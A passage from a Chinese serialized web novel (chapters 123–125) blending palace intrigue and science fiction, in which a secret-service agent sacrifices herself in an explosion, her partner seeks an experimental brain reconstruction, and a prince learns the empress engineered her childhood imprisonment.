蔺咏铭说话的全程都昂着下巴,说到此处,眼神下移,落到了请柬上:
“你与第五氏嫡女第五阙的大婚请柬已经拟好了。还需什么增减,现下便可以对我说。”
这是向知番的管教。
让李极明白,她不可能按照自己的意愿行事。
她的王妃,得是能带来助力的世家贵女,得由他选。
第五阙就是他精心挑选的对象,顺便警告那个在背地里做小动作的贺兰濯。
两头敲打,便是向知番的手段。
蔺咏铭看到李极眉尾的神经在发颤。
不过就是发疯,用尖酸刻薄的讽刺来反击,蔺咏铭早就知道她的路数了。
怪的是,李极没这么做。
那丝颤意沿着神经蔓延入心,双眼憎极的红潮未退,嘴角反而往上拉扯出了一个弧度。
一个蔺咏铭无法理解,又胆寒的诡异笑意。
第123章
韩复终于找到了她的陛下。
这些日子韩复一直都在广膳宫外,宫门侍卫不许她进入。
她这位天子近臣,第一次尝到了闭门羹的滋味。
更不能理解的是,她查到一则怪异的消息。
金秋盛典上,天子要宣布嗣位给楚王李沐。
以前关于李渃元的所有事,韩复绝对是第一个知道的。
可如今这么大的决定,却不是李渃元亲口告知她,而是她自己通过隐秘的消息网打听到的。
匪夷所思。
韩复不打算继续等待下去,想要毒倒几个护卫而不被发现,对她来说轻而易举。
悄声潜入广膳宫中,发现宫内守卫极其森严。
像是在防着外面的人进来,更防着里面的人出去。
失去视力的人,在隐匿的状态下想要寻找某人时,难度大大增加。
风声人声,虫鸣鸟叫声,都会影响她的听觉。
连她的心跳都在作乱。
心燥。
许久没有的燥。
直到晚霞倾斜花丛间,她终于发现了天子的下落。
那是她听了千万遍的脚步。
迈着小小的步子,身子轻轻的,甚至能想象她软软的眉心皱起来时,叹一声国库财匮。
小魔种正独自行走在花园深处,一步一停,怅然若失。
沾着灰的衣衫,凌乱的发髻,周围没有人照看她。
韩复落到她身前时,还结结实实地吓了她一跳。
“阿复……”
小魔种幽幽地凝望她,向她伸出手。
韩复的耳朵听到了布料摩擦的声响,感受到了气流的流动,在脑子里描绘出了陛下需要她怀抱的画面。
韩复单膝跪地,摸索到了小魔种的手。
好冷的手,微微发着颤。
她在身边时,天子从未有过这样的情绪。
把寒冷的小手攥进掌心里,韩复轻声问:“陛下,发生何事了?”
如果她能视物,便能看见小魔种忧心忡忡的脸,以及手臂和嘴角有奇怪的龟裂纹路,就像一件被敲碎了的瓷器摆件。
小魔种想说什么,话已经到了嘴边,却蓦地失去了方向,茫然间忘记了所言所想,只会反反复复地唤着“阿复”。
此刻的她已经明白了。
不是自己失去了语音能力,而是思绪被操控了。
被另一个自己操控。
所行所言,都不是自己能够左右的。
小魔种怔怔地站在那儿,宛若一棵只待枯萎的小草。
韩复把小魔种护进怀里,剧毒在皮肤之下流淌,一层皮囊相隔的手却在轻柔地安抚怀中人。
“别怕,陛下。我说过,无论发生任何事,我都会守在陛下身边。”
这是韩复对李渃元的誓言。
从李渃元带她离开死城的那日起,她对自己发誓,这辈子,这条命归李渃元所有,效忠至死。
倒也不是因为她对李渃元有多深厚的情感。
在内心深处她明白的,只是因为她没有家。
母亲死后,她一直处于无所适从的状态,不知道自己要做什么,要去哪。本就不知道为什么要被生下来,如今更不知道为什么要活下去。
她的人生失去了方向,漂浮在茫茫时间之海上,举目四望,没有岸。
她本想就这样死了也罢,偏偏李渃元从山海那头如神明一般降落到她面前,不嫌她脏不怕她恶,让她吃了此生最好吃的食物,说喜欢她,要带她离开死城,去京师,让她成为一人之下万人之上的权臣。
除了阿娘,没被任何人在乎过的贱命,很容易被收买。
更何况收买她的还是当今天子。
本来想随意死一死的心情变了。
如果说之前的人生是为了阿娘努力活下去,那么那一刻,她想为了这个小皇帝活一回。
……
韩复耐心地安抚,让小魔种不知所措的恐惧感一丝丝从发凉的心中抽离。
角落的监控正对着她俩。
寝殿之内,真正的李渃元坐在监控画面前,安静地看着这一幕。
她和黑魔方本体僵持了这么久,总算暂时停战。
黑魔方本体也能察觉到她的身体即将过载。
共生关系下,黑魔方本体的能量也在减弱。
暂且安分一些。
李渃元从漫长的冲刺中暂时停下,浑身剧痛,五脏颠倒,骨肉移位。
好笑的是,她居然早就习惯被巨大的力量反复拧乱的痛楚。
平复片刻后,她很快发现李沐还乖乖地坐在椅子上,小魔种不见踪影。
以小魔种现在的状况肯定无法走得太远。
李渃元调取监控。
韩复居然无召自来,这二人居然在花园之中上演着君臣情深。
当初李渃元想要建立丽景门,选中了韩复。
人是她选的,但是小魔种去接的,结果所有的恩情都好像是小魔种施舍的。
韩复是这样认为,李煽也是。
李渃元嗤笑一声。
就要离开时,多看了一眼监控画面里的小魔种。
小魔种是按照李渃元小时候的模样炼出来的。
性子也随她幼时,会算计,有野心,也富有同情心。
她还记得小时候的理想。
想做一名仁君,一名励精图治,只愿四海升平的仁君。
伤春悲秋,不舍杀生,甚至会因为一只死去的小鸟落泪。
愚不可及。
但那是活着的她。
生活在阳光之下,脆弱、愚蠢、自负,但活生生的她。
与那时的自己相比,现在的她不过是一具还没死的尸体,等待腐烂的污秽.
“快走……”
房判后背被冷汗浸湿,浑身发颤。
被搭档的武器瞄准的那一刻,噩梦爬上窦璇玑的后背,箍住她的脖颈,在她曾被砍断的脖子伤口上徘徊、窃笑着。
窦璇玑一直想忘了那场恐怖的濒死体验,可事实证明,越是想努力忘却的,到最后记得越牢。
她永远都记得那个秋日的所有细节。
窦璇玑和前搭档是一起进的丽景门,两人年纪相仿,又一起训练、做任务,出双入对,算是一块儿长起来的青梅。
别的搭档还需要制定战术,她俩不用,一个眼神就能知道彼此在想什么。无论去哪儿,执行多累的任务,只要有搭档在,她就干劲满满。
直到某次执行一项B级任务。
那次出任务前窦璇玑就不太赞成,觉得B级任务对现在的她们而言太难了,还是做C级的任务先继续磨练磨练比较保险。
搭档却说她胆小。
“放心,咱们俩个A级战斗天赋,区区B级任务你还怕么?到时候你跟在我身后,我罩着你。”
在对方一再坚持和怂恿下,窦璇玑没辙,只能应了下来。
毕竟搭档都是一块儿行动的,她不能让她的搭档身边没人。
可即便拥有高天赋,没有经过磨练,依旧是一把随时会被砍断的钝刀。
窦璇玑和搭档在执行任务的时候被敌人抓获,双双押入大牢,折磨了两天两夜后,敌人的头目想到了一个更阴毒的乐子。
敌人的头目说:“听说你们丽景门都是双人组队一起出任务,我特别好奇,要是死了搭档会怎么样?呐,我现在给你们一条活路,只有一个人能活着离开。今晚你们选一位来送死,另一位么,不仅可以活着回去,我还会告诉她她想要的情报。怎么样,很公平吧?”
被绑在铁架上的窦璇玑冷笑道:
“脑痴才会信你。”
敌人头目过来狠抽窦璇玑一顿鞭子之后,留下一句“这是你们唯一活命的机会”便离开了。
之后又来了两人,还真的将她俩松绑,甚至把她们的武器一并丢了进来,再锁上牢房。
窦璇玑看搭档一直不说话,提醒她道:
“他们最恨的就是丽景门,他们不止要杀我们,更要诛心。愚弄我们只为了看我们自相残杀!这些贼人是绝对不可能信守承诺的,你千万不要相信他们的话!我们要齐心协力找办法杀出去,这才是活下去的唯一希望!”
搭档握着自己的刀,垂着脑袋点了点头,说:“是啊,我们要齐心协力才能活下去。”
窦璇玑松了口气,笑道:“你伤太重,先歇会儿,我看看这地牢有没有突破口。这些人居然敢把武器还给我们。”
就在窦璇玑转头想要去查看墙壁的材质时,忽然喉咙一凉。
一把匕首从后颈刺进来,直接刺穿了她的脖子。随后那刀熟练地横向猛切,窦璇玑整个身子不受控制地晃了一下。
窦璇玑眼睁睁地看见自己的血喷溅在肮脏的墙面上,好大一片。
血不停往外涌,她双手压着不受控制的脖子,在极度诧异中回头。
搭档的脸和手上都是她的血,双手紧握着匕首,一刀刺中她的腹部。
窦璇玑难以置信地唤了一声她的名字。
那时的搭档,已经被恐惧吞噬,理智彻底崩溃。
“对不起璇玑,我想活下去。别怪我……别怪我……我只是想活下去,别怪我,别怪我!”
大量的血从口中涌出,窦璇玑说不出话。
你只是想活下去。
我想的是,我们两人一起活下去。
搭档发狂的声音萦绕在窦璇玑耳边,直到再次醒来,那尖锐的声响还在回荡。
窦璇玑经历了一场漫长的手术。
韩复为她接脉,吊着命,另一位S级的机械师为她更换合金脖子。
之后窦璇玑才知道,韩复率领丽景门十人精锐及时赶到,敌人杀了情报得了,窦璇玑得救了。
而她的搭档被韩复斩首,脑袋挂在丽景门门口三日,让进进出出的所有人都看看出卖搭档的下场,以此为戒。
之后的三年,窦璇玑依旧直面过死亡,可被信任的搭档暗算的阴霾始终会在某一刻忽然浮现。
她也曾经不想再有搭档,不想再信任何人。
可是丽景门的门规在这儿摆着,必须双人同行,她只能被迫再接受了一个人,凑到身边。
刚认识房判的时候只觉得这人傻,笨拙又贪吃,回头说不定真的会被她害死。
没想到,和这个笨蛋相处的时间越长,越能感受到她的可靠。
即便天赋不高,本身也不是个勤奋的人,却为了能够守护窦璇玑的后背,日日苦练。
被前任搭档夺走的信任,房判还给了她。
不知不觉中,窦璇玑又想要重拾信任,又愿意把生命交付。
有时候窦璇玑也会想,如果第一个搭档就是房判该多好?
房判那么胆小,肯定不会建议冒险去做B级任务。
她的人生不会遭遇那场血光之灾,生命的伤痕也不会存在。
如果一开始就是房判……
窦璇玑的眼眸中出现了房判的箭头。
三支爆破箭,足以让窦璇玑尸骨无存。
这场毕生难忘的噩梦,竟重现了。
窦璇玑握着电刃的手被汗浸湿。
房判让她逃,她不仅没逃,反而快步上前。
“我怎么可能丢下你!要死一起死!”
房判见她没走,反而要来救自己,心头猛颤,喊道:
“把我手砍断!我要控制不住我自己了!”
窦璇玑也没这么做。
她被前搭档伤得至深,更不愿意伤害一心护她的现任搭档。
浓雾之中用精神力操控她的丹樱窃笑着。
来得好,立刻就能炸死她。
用精神力命令房判,发射。
指令发出去了,可是奇怪,这区区B级战斗天赋小女官居然抗拒了,没执行命令?
丹樱继续施加更多的精神力。
无声的潮水冲入房判的思维之中,意识即将溺亡。
发射!
发射!
无数让房判射箭的指令像火星子,在她所有的神经元中闪烁,意识就要被炸成废墟。
但她就是没有动手。
为什么?
丹樱蹲在树林深处,不解。
此刻的丹樱已经是黑魔方的黑色大脑在主导着她的身体,使用的也是黑色大脑中的智慧。
即便已经非常聪明,但人类时常会做出超出自身能力和逃脱逻辑的事,最是让黑魔方困惑。
“还是用更直接的方法好了。”
丹樱的长发拧成乱体,从后方刺穿了房判的胸口。
房判身子一抖,还不知道发生何事,只见奔向她的窦璇玑神色陡然僵硬。
她低下头,看见在她身躯上蠕动的乱体。
血从她的口中不受控制地往外涌。
玉璧在被迫共振。
那个怪物要吞噬她,让她成为异兽的一份子。
丹樱:“这是你的荣幸。”
帷帽被一阵风吹飞,房判那只独眼温柔地看向窦璇玑。
电子音跳跃了一下,很微弱,像笑音。
窦璇玑心头大乱。
房判一只手拽住乱体,另一只手握住了所有的爆破箭。
黑魔方掀起的巨震几乎要把她身体震碎。异化的能量让她的战力瞬间提升至S级,冲破了精神力的桎梏。
她那张满是伤痕的丑陋脸庞上,依旧绽放着平和的笑。
“抱歉,璇玑,你又得换个新搭档了。”
“房判——!”
房判在窦璇玑的惊呼声中调转方向,向丹樱狂奔。
窦璇玑猛地一扑,只差一点就拽住了她。
只差一点点。
手中空了,心直坠深渊。
轰天震地的爆炸把窦璇玑掀飞。
热浪冲天。
第124章
眼前的世界分叉成无数的重影,耳鸣来来回回刺在耳膜上,天地被熊熊大火吞没。
窦璇玑几次要冲入火场,几次被人抱回来。
她没回头,给了阻止她的人好几肘,用力挣脱,发了疯一样往前冲,都失败了。
李司用尽全力搂着她,摁着她,忍着痛一遍遍跟她说:
“别去!你会没命的!”
“放开!”
李司死死抱着她,就是不放。
窦璇玑满脸都是灰,只有一双眼睛被眼泪冲出了惊人的亮。
“可是,我的搭档在那儿,我们不能分开……”
李司被她破碎的声音弄得心痛难当,扣住她的手,从她身后把她整个人紧紧锁进怀中。
“她不会想你这么做。她用命护住你,你舍得这样轻易浪费吗?”
呼喊声、脚步声和晃动的人影从窦璇玑身边呼啸而过,而她像被罩在沉重的壳里,天旋地转,无法思考。
身后紧紧抱着她的人是谁都不知晓,直到消防司的专业灭火队赶来,大火才渐渐熄灭。
窦璇玑精疲力竭时,终于恢复了视野。
她看清了眼前的一切。
一片废墟,浓烟滚滚。
窦璇玑直起身,不再像只发疯的牛,平静了许多,道:“放开我。”
李司看火场里没什么太大的危险了,这才松开她。
窦璇玑站起身一个趔趄,李司想扶她,发现她没摔倒。
跌跌撞撞地往浓烟四起的火场里去,窦璇玑发现不知什么时候来到了隔壁街道,或许是在幻觉之中不知不觉打到此处。
这么说来,幻觉消失了,丹樱不见了,也没有乱体的痕迹。
被炸成碎片了。
房判啊,你真厉害。
你什么时候变得这般厉害。
想起某个忽然醒来的清晨,困意沉沉间,看见房判浑身是汗,不知练了多久。
窦璇玑心头猛然一酸,双唇不受控制地发抖。
很快擦去眼泪,她得找到房判,无论如何得找到。
一双手在灰烬之中翻找,烫得起疱。
李司实在看不过去,抽了副隔热手套给她。
“戴上。”
窦璇玑抬眸看一眼,李司也灰头土脸的,嘴角还有个血口。
原来刚才一直抱着她,被她打的就是李司。
窦璇玑有些愧疚,听话地戴上了手套。
李司再给她罩了个防毒面具,也没说这么大的爆炸,火势又极凶,恐怕是找不到尸首了。
只道:“我们从两头往中间找,能快点。”
窦璇玑点了点头。
之后丽景门的同僚也来了,李司跟她们说发生了何事,她们一齐寻找。
窦璇玑越找越急,忽然听到李司在她身后轻声道:
“璇玑,找到了。”
窦璇玑回头时,见李司用自己的外衫罩住了怀里抱着的人,只能看到轮廓。
李司说那是房判,可是窦璇玑觉得不是。
房判个高,但李司抱着的分明只有短短的一截。
李司平静地开口:“可能是第一下爆炸的时候,房判被炸出了火场范围,所以很幸运没有被火焚烧,但是……”
窦璇玑:“你找错了。”
李司狠心道:“我没找错。”
窦璇玑上前要看,李司往后撤了一步。
“最好别看了……”
李司找到房判的时候,只剩下一半的身子,残缺不堪,她都不忍直视,何况是窦璇玑。
窦璇玑听出了她话中的意思,呼吸变得越来越重,艰难地问道:
“你,告诉我,她的大脑还在不在?”
只要大脑还在,就能移植进新的身体,无非需要巨额的钱银。
但她能赚,活着就能赚,去当赏金猎人都好,她能赚回来。
只要大脑还在。
李司沉默的那一息,让窦璇玑的心跳也跟着停了。
李司道:“只有一半。”
只有一半的大脑。
窦璇玑身子被巨大的力量往下拽,双腿险些要承受不住这份重量。
李司侧身上前,用肩膀顶住窦璇玑。
“璇玑,你得振作一些。否则房判就真的没希望了。”
窦璇玑听出她的言下之意。
“你说她还有希望,对吗……”
李司看窦璇玑双手紧攥着自己的胳膊,泪眼婆娑哀求一个希望的样子,实在太可怜了,让她很难说出实话。
如果给了她希冀再剥夺,实在太残忍。
可是,的确还有渺茫的机会,她也不想就此埋葬。
左右为难,必会有怨。
这个坏人,就让她李司来当了。
李司道:“可以说是没有。房判现在的状态已经是死亡了。”
窦璇玑眼泪簌簌落了好几道。
“不知道算不算幸运,因为没被焚烧,所以她的记忆模块还在。有一条没有被验证的路,或许能一试。人工重塑缺失的一半大脑,再填入记忆模块中的记忆,重塑神经元和逻辑,打造一枚人工大脑。”
“这,这不是很好吗?很值得一试吗?”
“这是我从文献里看到过的医学假设,暂时还未有成功的案例。在医师之外的人看起来或许有可能,但是,成功的概率非常低,而且即便活过来,恐怕也不是原本的那个她了。术后生活质量也不知道会下降多少,还不如……”
窦璇玑紧攥着她,“可是,还是有机会的不是吗?就算成功的概率非常低,也是有的。”
李司:“就像你时隔一年再次踏入沙漠,踩到同一粒沙的概率一样低。我这么说你能明白吗?”
窦璇玑攥得青白的指骨微微脱了些力。
说的差不多了,希望和绝望都摆到她面前。
李司最后道:“走,去问问沈逆,臭狐狸可能有办法。”
窦璇玑快速点头。
李司的马车就在后方不远处,窦璇玑说:“我来抱房判。”
李司:“别了,还是……”
窦璇玑:“我来抱房判。”
李司抿了抿唇,没辙,只能让她接过去。
李司提醒道:“很烫。”
窦璇玑“嗯”一声,稳稳接过来。
好轻好窄的身子,腿也不见了。
窦璇玑把她紧紧扣在怀里,上了马车.
在回侯府的路上,曾倾洛就跟沈逆说了遗忘之脉以及所藏脚印之事。
沈逆看她收集回来的资料,和她推测的方向相同,也觉得这个脚印属于刘吉的可能性非常大。
先前沈逆就觉得刘吉是一个助力,让她能顺利掌控城防工程司,再进入研发署的助力。
即便看上去很冒险,但有效。
刘吉是怎么知晓遗忘之脉的入口,又是如何能在没有空气的隧道里行走,之后还和家人生活了数月,没人发现他有什么异常。
当初找不到方向的谜题,如今再看就容易解多了。
如果他只是一具魔种,一具被幕后之人注入了基本行动逻辑的魔种,看似不可能的事他全都能做到。
在身体里埋下还没有迭代出智慧的黑魔方病毒,即便异兽化了能量也弱,更别说死了之后才开始异兽化,以沈逆的武力都能轻松制服。
刘吉所住的地段是闹市区,非常容易发现,发现后立刻就能控制,不会造成严重后果。
一切都计算的恰到好处。
不过,还有几个问题。
首先,刘吉的魔种谁炼的,此人是怎么知道遗忘之脉的入口。
其次,怎么控制黑魔方在刘吉死了之后才开始吞噬他的玉璧?
最后,部署之人一定是对黑魔方非常了解,拿捏极其精准,很有可能是位机械师。
沈逆不会猜错,师姐身后还有别的助力。
很有可能和封锁她记忆的是同一个人。
一行人回到侯府,沈逆让曾倾洛先去换身衣裳,她一会儿过来看看腿。
随后沈逆一个转弯,火急火燎地回到工作室。
算算时间,师姐应该已经醒了。
曾倾洛找到万姑姑,询问她情意盒的事。
万姑姑尴尬道:“曾女郎,你不会打开了吧?”
曾倾洛将她遇险的事儿说了,但只言回来得太急,情意盒掉了,没能带回来。
万姑姑松了一口气,“没事儿,女郎你没出事就好,一点点情趣小物没带回来就没带回来了,我再去订一份。”
曾倾洛说:“是我弄丢的还是我来订吧。万姑姑能不能把清单给我?我再去找店家买。”
万姑姑和她推托了半天,居然也有争不过这温吞小娘子的时候,最后没辙,只能把清单给了她。
拿了清单,回到房间一样样地看,还真是没有催.情药。
倒是有不同口味独立包装的果味糖。
看来骗子在这件事上没有骗她。
可如果不是那种药,在遗忘之脉中的事,要如何解释?
曾倾洛撑着额头。
她怎么又会和李极……
——把我当做裴寂。让裴寂带着你的吻踏上奈何桥,好不好?
在骗她吃下糖之前,说的是这种话。
到底在什么环境下长大的人,能这样说谎成性。
曾倾洛低骂一声“无耻”,脸上有些热,不再去想她,去看看护院们伤得如何了。
沈逆推开工作室的门,一眼没看到边烬。
“师姐!”
沈逆快步进屋,听到净房内哗哗的水声,还有模糊的人影。
原来是醒了,在沐浴。
沈逆查看逆芯系统,系统已经顺利重启完毕。
一切顺利。
太好了。
沈逆开心地靠在门口,隔着门问边烬:
“师姐,你感觉怎么样?”
很好奇,逆芯完成之后,会不会对记忆禁区造成冲击。
边师姐和烬师姐又会有什么样的变化。
净房内水声不断,边烬没有回答她。
可能是水声太大,没听到,沈逆还想再问,听见侍女在门外传话。
“金吾将军和窦女郎来了,说要见侯君。”
她们怎么会突然过来?
沈逆感觉可能出事儿了,对边烬道:
“我一会儿回来,给人家准备好奖励。”
沈逆从工作室出来,还没见到李司和窦璇玑,居然先看到李煽站在游廊上等着她。
大老远就听到李煽的咳嗽声。
李煽什么时候到府上的,沈逆完全不知情。
全身心投入在逆芯上,加之黑魔方在悄无声息间又完成了一次恐怖的迭代,路苍梧那句“长安城要完了”压在心头,沈逆心思有些混乱。可能侍女来说过了,她根本没往心里去。
不过李煽来找她倒是在意料之中,毕竟她在李煽的帮助之下探听到了广膳宫寝宫之内的动静,但没跟李煽说。就李煽这脾气,肯定得找上门来。
李煽正要开口,沈逆从她身边快速而过。
“给永王殿下请安了,不过下官实在很忙,殿下请回,待下官忙完自会上门请罪。”
李煽还没来得及开口,沈逆就进了另一间屋。
李煽:……
一旁的侍女尴尬又害怕地看着她。
李煽自然不走,“我在隔壁等她。”
侍女:“好……的。”
屋内。
沈逆从自己这侧揭开李司的衣衫,看了一眼房判的状况,饶是伶牙俐齿如她此时也是张口结舌。
李司与她说了自己想象的手术方向。
沈逆听完之后更是一阵沉默。
你还真是挺敢想。
窦璇玑忐忑地问道:“是不是不可能了?”
窦璇玑那双清冷的眼眸红肿不堪,沈逆不忍心把话说死。
“这世上没有绝对不可能的事,试过之后没成功也不遗憾,要是不试,可是百分百会遗憾的。咱们别做给自己留遗憾的决定。”
窦璇玑用力点头。
沈逆道:“行,那咱们就试试看。不过制定完整的手术方案之前,我得先检查一下她大脑的状态。”
窦璇玑又道:“还有一事。房判……她原本恐怕就只剩最多一年的寿命,不知道毒素会不会留存在大脑里。”
沈逆好奇:“只剩最多一年的寿命?为什么?”
李司一下就听明白了。
两人一块儿把丽景门的“正常死亡”事件跟沈逆说了。
李司道:“看那瞎子的德性,很有可能是研制出了某种毒,进入丽景门之前,但凡没有天赋的先喝一罐,欺骗她们是能够觉醒天赋的神丹妙药。无依无靠的可怜小孩忽然获得了高天赋,满心欢喜之时,根本不会去怀疑给予她们的恩惠其实是致命的剧毒。更难以想象,看似天大的恩赐会在之后的某一日,连带着她们的性命一并收回。”
沈逆正要说,韩复这招可真是阴损,忽然听到门外传来一声惊叫。
沈逆快步走到门口,见李煽慌慌张张快步往外走,不小心撞到了一名侍女,打翻了她手里的碗碟。
肺痒到发痛,更因为剧烈的动作引发无法克制的急咳。
但李煽无法停下脚步。
药,忽然觉醒的天赋,入夏之后就开始的咳疾,和她一一对应。
分毫不差。
李煽的心跳声覆盖了整个世界。
她也喝下了那管或许能觉醒天赋的药,也曾欣喜若狂,从未怀疑这件事本身的荒谬。
更荒谬的是,给她药的不是韩复。
是她的皇姐,李渃元!
第125章
这一路上李煽咳嗽不断,也一直在回忆。
翻开所有过往,把那些原本希望埋葬的难堪硬是翻给自己看,去找线索,找证据。
细节一丝一缕地浮上心头。
捏住沾满血迹的手绢,李煽回到永王府,召集武卫,让他们去一趟宴州。
“务必把这三个人带回来。”
“喏!”
宴州距离长安城不远,乘飞艇一来一回加上抓几个现已无足轻重的小人物,最多也就一个时辰。
李煽就坐在原处等着。
比预计提前小半个时辰,那三人就跪到了李煽面前。
这三人已经尽显老态,被上着枷械跪在李煽面前,惊恐地发着抖。
这三人,便是当初将年幼的李煽抓入大牢,百般折磨之人。
李煽用沙哑的嗓子问他们:“可知为何抓你们来?”
那三人哆哆嗦嗦地垂着头,正在暗中互相瞧着。
李煽:“最左边那个,砍了。”
最左边的男人“哎”了一声,还没疑惑完就被武卫拎了起来,脑袋被当场削掉。
剩下二人吓得魂飞胆裂,一个劲求饶。
“殿下饶命,殿下饶命,我们实在不知道犯了何事,让殿下如此动怒!”
“是啊,上次见殿下都是十多年前的事了,这些年我们安分守己,可完全不敢做任何打了殿下眼的事儿啊!”
李煽:“当年你们将我关在宴州大牢,受何人指使?”
听到李煽的问题,方才还在不断求情的二人神色明显变得更加复杂,嗑吧了几下,都没说话。
李煽:“中间的,砍了。”
“喏!”
武卫上前就要斩下中间男人的头。
那男人吓得大叫:“是陛下——是陛下让我们这么做的!我们和殿下无冤无仇,可上有老下有小,如何敢违抗陛下的旨意!这一切都是陛下的安排啊!求求您,放了我吧!”
李煽脸上的肌肉不自禁地抽搐了一下。
宴州大牢,九死一生,那是她此生的噩梦。
李煽以为是李渃元救了她,没想到,这一切都是李渃元的谋划。
——你若想要旁人看得起你,便得自己先看得起自己。一直这般懦弱爱哭,旁人只会更轻视,更爱欺辱你。
害了她,再来救她。
——将眼泪戒了,相信你自己,不会比旁人差。
李煽摇摇晃晃地站起身,泣数行下,却痴痴地笑了。
她永生难忘的夜,皇姐温柔至极的话,自以为改变人生的警醒,居然都是骗局。
李煽杯弓蛇影地想着,为什么她从小被人欺负,被人孤立,是不是也是李渃元促成了这一切?
没人对她好,只要李渃元施舍一点点爱,就能将她完全虏获,成为愚蠢的信徒。
李煽已经从别的地方打听到了嗣位之事。
难怪……这次嗣位也根本没有考虑她。
李渃元甚至直接将她赶出了广膳宫。
这些年,诸王在对皇位虎视眈眈,重臣们也在站队,可李煽永远都不是那个被选择的。
李煽没有外祖的势力可以帮衬,天赋也来得莫名,没有重臣会拥护这样的永王。
而她还是个坚定的天子党。这颗被收买的心早就归李渃元所有,而储君和天子也是存在博弈关系,谁都会担心若要拥护她,向她投了投名状,是不是转身就会被卖给李渃元。
所以即便被称为“七王之首”,李煽身后始终空无一人。
李渃元将她立起来,威望渐盛,为的是什么?
立起来的东西是什么呢?
靶子而已。
一个为天子所用,抵挡暗箭的靶子。
所以,从最开始,李渃元就瞄准了孤弱无助的李煽。
为什么要给予她天赋,因为李渃元要一个信徒掌管最高研发署。
因为要在最高研发署里藏“国宝”,需要一只忠诚的看门狗为她看管。
李煽就是她选中的看门狗。
李煽独自穿过长廊,冰冷的月光晒得她浑身的血液都在沸腾。
她一直以为和同等级的机械师相比,她总是更钝一些,以为是天赋觉醒得较晚的缘故。
没想到……这根本就不是她的天赋。
她根本就没有天赋。
猛地一跌,摔在花园的尽头。
残花满裙.
沈逆离开工作室之后,净房的水声就停了。
边烬擦拭干净,套上寝衣回了卧房。
打开衣柜,依旧整齐馨香。
新婚时两人衣衫各放各的,中间还隔着好一大堆的空间,像她俩分别的这些年的嫌隙。
如今已经按照两件一套的套装放在一起,难分彼此。
任谁看到这琳琅满目成双成对的定制服饰,都会觉得这宅子的主人恩爱非常。
难以置信的一场梦。
边烬安静地看了一会儿,挑了一件,在无光无声的寝屋内慢慢穿上,系上蹀躞带。
沈逆为她编的人胜,从眼前一晃而过。
当时她们刚刚久别重逢,不冷不热,不生不熟。
沈逆依旧为了她亲手编了人胜。
红红粉粉,脸蛋端正。
仔细看,甚至还带着浅浅的笑意。
边烬冷着脸,但它却对边烬笑。
傻乎乎的,和阿摇一个样。
边烬静静地看了会儿小人胜,想从蹀躞带上摘去。
指尖压开了锁扣。
沈逆的气息就此切断。
……
李司喉咙快冒烟了,感觉喉咙里烟熏火燎的,格外难受。
窦璇玑一步也不想离开工作室,她想等着大脑状况的最终结果。
李司想喝口水,推门出去找到个侍女,侍女为她带来几罐不同属性的高效营养液。
李司看这些营养液都价格不菲,心里“嚯”了一声,靖安侯府果然很阔气。
给自己灌营养液的时候,李司心思沉沉的,心里一会儿一个想法,零零碎碎,杂乱无章。
从走廊那头走过来一个人,李司抬眸,是边烬。
是边烬没错,但眼前的边烬有种说不出的陌生感。
很冷,眼神里是凝了寒气,双眸中读不出任何想法。
这种感觉让李司心头一凛。
要知道她最喜欢琢磨人的双眸,眼睛里最是能透露人的性格和情绪,这也是她行走官场和战场的重要技能。
可眼前的边烬,她半点读不出来。
李司就要吞下最后一口营养液时,边烬走到她面前,问她:
“你想当皇帝吗?”
李司猛地躬身,一口营养液喷了满墙.
另一头,帝国客栈内。
第五阙和贺兰濯一同沐浴出来,发现第五阙放在案几上的电子表响了好一会儿了。
是失联多日的小姑姑终于联系她了。
小姑姑申请跟她视频通话,第五阙转成了语音。
“小姑姑——”
第五阙甜甜地唤了一声,看贺兰濯从她眼前走过,一把捞住她,往腿上抱。
和胡乔珏对战时虽是亢奋,现在想想也是差点丢了性命,那玩意从未见过,有种让人毛骨悚然的非人感。第五阙反应比常人慢些,通常得事儿过去好半天了,她才有可能咂摸出些惧意。
这会儿害怕的感觉隐约有些冒头。
特别想黏着贺兰濯。
贺兰濯被她力气这么大胡乱一抱,不是坐她腿上,是整个人跌下去的。
第五阙小姑姑的声音就在耳边,贺兰濯有种泄露私密的尴尬,无语,想起身。
第五阙没让,抱得更紧,一边听她小姑姑说话,一边可怜兮兮地蹭她的胳膊,求她别走。
贺兰濯:……
多大人了,成天撒娇。
没辙,反正也累,有人抱着就留下享受吧。
贺兰濯捏了捏第五阙的下巴,没走,圈住她的脖子靠在她怀中。
精神力释放太多,她很累,即便第五阙的小姑姑声音聒噪,第五阙的体温却很舒服,让她安心地坠入梦境。
不知睡了多久,忽然醒来。
床没有温度,没有第五阙的拥抱,她在夏末微凉的空气中打了颤。
“阿阙?”
贺兰濯唤了一声,没人应。
贺兰濯翻了个身,没在意。
这孩子成日闲不住,每天铁打的十公里要跑,发现个什么新鲜事就喜欢出去瞎溜达。
趴了一会儿,想到那个异兽,心跳被催快了几下,贺兰濯翻身坐起来。
给第五阙传信,问她去哪儿了。
等了一会儿,没回。
反而收到另一封传信。
贺兰濯看了一眼,厌烦的情绪上头。
但她不能不去。
随意穿了身衣服,去顶层。
推开顶层的屋门,第一时间感受到了今天的气氛不太相同。
贺兰濯缓步穿过玄关走到前厅,发现向知番和蔺咏铭也在。
难怪空气里弥漫着一股让人不喜的臭味。
这是她第二次见到向知番。
她知道阿赐的下落只有向知番知晓,阿赐就是被他控制着,藏在北境茫茫大地的某处。
护目镜之下,贺兰濯腾着杀意的犀利目光从向知番身上划过,安静地敛起。
向知番也有S级精神力,若是杀意太重,很容易被他察觉到。
她已经秘密顾了一支赏金猎人小队,人工加机械侦测的手段并用,日以继夜地在北境搜索阿赐的下落。
一定能够找到阿赐。
在此之前,她得忍。
万箭穿心也得把万箭埋进身子里。
忍着。
给她传信的是康逸,大概又是有什么事要办才叫她来,懒得多问。
贺兰濯刚要站到一旁,向知番望向她,对她说:
“来。”
贺兰濯走到他面前,借着护目镜的遮挡往里屋看。
李极不在。
向知番手里拿着张红色的卡片,递给贺兰濯。
向知番道:“这是给你的请柬。”
贺兰濯一时没接。
向知番笑道:“殿下和安王妃的大婚吉日已定。你和安王妃是老相识了。大婚之日,你定是座上宾。”
起初的疑惑,在想通某种可能性之后忽然变成了一记重拳,猛地擂在心口。
翻开请柬,“李极”边上赫然写着三个她无比熟悉的名字——第五阙。
脆弱的神经在这一刻安静地崩裂了一角。
向知番的声音很远。模模糊糊。
“能套住第五氏的嫡女,本事不小,殿下没白器重你……”
……
只给她这封请柬,就让她离开了。
贺兰濯全程没有说话也没有任何表情,往门口走的时候,视野在不受控制地晃动。
居然没能握住门把手。
呼吸过快。
压着,往下压,不要泄露半点真情实感。
